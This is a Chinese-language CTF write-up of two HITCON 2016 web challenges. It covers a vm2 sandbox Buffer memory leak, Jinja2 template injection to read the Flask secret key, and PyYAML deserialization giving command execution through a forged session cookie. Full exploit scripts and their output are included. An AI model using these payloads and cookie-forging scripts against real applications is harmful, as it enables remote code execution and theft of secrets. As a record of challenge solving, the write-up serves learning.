HITCON 2016 Web 总结

OTP和RSA遇到困难, 先发篇Web的出来
本次HITCON, 我看了两题Web, Leaking和Secure Post, 都挺有意思的

Leaking(Web 200)

leak1

源码: https://github.com/Hcamael/CTF_repo/blob/master/HITCON/Leaking/index.js

代码很简单, 很明显是绕vm2沙箱之类的黑魔法, 比较幸运, 搜到了相关资料: https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md

然后根据这里面的内容, 很容易就可以构造出payload:

1
/?data[]=for (var step = 0; step < 100000; step++) {var buf = (new Buffer(100)).toString('ascii');if (buf.indexOf("hitcon{") !== -1) {break;}}buf;

首先是通过数组bypass长度限制, 然后之后就是使用Buffer获取内存中的数据, 具体细节不是很清楚, 没有深入分析过, 感觉像是nodejs内存分配上的问题

这个payload不是每次都可以成功泄露出flag, 所以需要运行多次

leak2

Secure Post(Web 50/150)

spost
spost2

源码: https://github.com/Hcamael/CTF_repo/tree/master/HITCON/Secure%20Posts%20and%202

python flask Web代码审计题, 挺有意思的, 有两个flag, 所以分为了两题

老司机能很熟练的找到问题点:

1
2
3
4
5
def render_template(filename, **args):
with open(safe_join(app.template_folder, filename)) as f:
template = f.read()
name = session.get('name', 'anonymous')[:10]
return render_template_string(template.format(name=name), **args)

很明显是模板注入, 关于模板注入推荐一篇文章: http://rickgray.me/2016/02/24/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates.html

但是文章中的payload明显不能用, 因为:

1
name = request.form.get('author', 'anonymous')[:10]

name字段限制了10个byte的长度, 第一题分低, 相对的也比较简单

1
app.secret_key = config.flag1

所以可以读取配置信息:

1
{{config}}

secu1

secu2

可以看到

1
'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}'

flag1 get

第二步根据经验可以判断出应该是执行命令, 读文件之类的.

1
2
3
4
5
6
7
8
9
def load_posts():
handlers = {
# disabled insecure data type
#"eval": load_eval,
#"pickle": load_pickle,

"json": load_json,
"yaml": load_yaml
}

源码中这段, 把可以执行命令的危险数据类型给注释了, 不过还是漏了yaml

参考文档: http://pyyaml.org/wiki/PyYAMLDocumentation

yaml load同样可以造成命令执行

1
2
3
4
5
6
>>> data = """!!python/object/apply:os.system
... args: [id]"""

>>> yaml.load(data)
uid=1000(hehe) gid=1000(hehe) groups=1000(hehe),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(wireshark)
0

不过在这之前还存在一个问题, 数据在load之前, 都会经过一个dump, 那么如果绕过这个dump呢?

这就涉及到flask的session机制了, 不像php, seesion是保存在/tmp/sess_$_COOKIE['PHPSESSID'] 文件中

flask通过secret_key对seesion进行加密, 然后保存在cookie中, 通过上一步我们获取到的secret_key我们就能构造任意cookie了

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import yaml  
from flask.sessions import SecureCookieSessionInterface

key = r"hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}"

class App(object):
def __init__(self):
self.secret_key = None

def load_yaml(data):
import yaml
return yaml.load(data)

exploit = """!!python/object/apply:eval
args: ["[{'title': 'b', 'date': 'October 10, 2016 05:36:11', 'author': 'a', 'content': __import__('os').popen('id').readlines()}]"]
"""

exploit = {'post_type': u'yaml',
'post_data': exploit}

app = App()
app.secret_key = key

# Encode a session exactly how Flask would do it
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps(exploit)

print("Change your session cookie to: ")
print(session)

以上为构造cookie的代码

下面加上了攻击代码

payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import yaml  
import re
import requests
from flask.sessions import SecureCookieSessionInterface

key = r"hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}"

class App(object):
def __init__(self):
self.secret_key = None

def load_yaml(data):
import yaml
return yaml.load(data)

exploit = """!!python/object/apply:eval
args: ["[{'title': 'b', 'date': 'October 10, 2016 05:36:11', 'author': 'a', 'content': __import__('os').popen('cat flag2').readlines()}]"]
"""

exploit = {'post_type': u'yaml',
'post_data': exploit}

app = App()
app.secret_key = key

# Encode a session exactly how Flask would do it
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps(exploit)

print("Change your session cookie to: ")
print(session)

url = "xxxxx"

cookie = {"session": session}

r = requests.get(url, cookies=cookie)
print re.findall("(hitcon{.*})", r.content)

返回结果:

1
2
3
4
$ python payload2.py
Change your session cookie to:
.eJwlj0FrgzAARv_KyHmHLM5BCz1YQTFOC9ppzGWYxEWdRoeuMZb-99n1-sH7Hu8KxmGaP0U5l2B_BU8M7EGQeroiycDQ64Uh_EPzGL4jT3N_sU99hopchwXBiq-DzA1mlRGwJMlEU_4WuKLBRkuMklr4H-rUOOqMYrj9dLxxlsjVMmqdJW4cHZ-HNW6HJUr5tHG1uDut4J8pHlvLkA1pbkO8ucjLbmTkeOEq-SJGKmZFKkxtzaxjxxqpCuTBwKdTkXODzfcv77Oa-svI-mwN3W5HUixceTiA2_OjejZjtfWasu_A7Q9r1lu4.CuNO7A.FE48aONgxecQpjbPEBOv5PgQdbo
['hitcon{unseriliaze_is_dangerous_but_RCE_is_fun!!}']
Author

Hcamael

Posted on

2016-10-14

Updated on

2019-07-26

Licensed under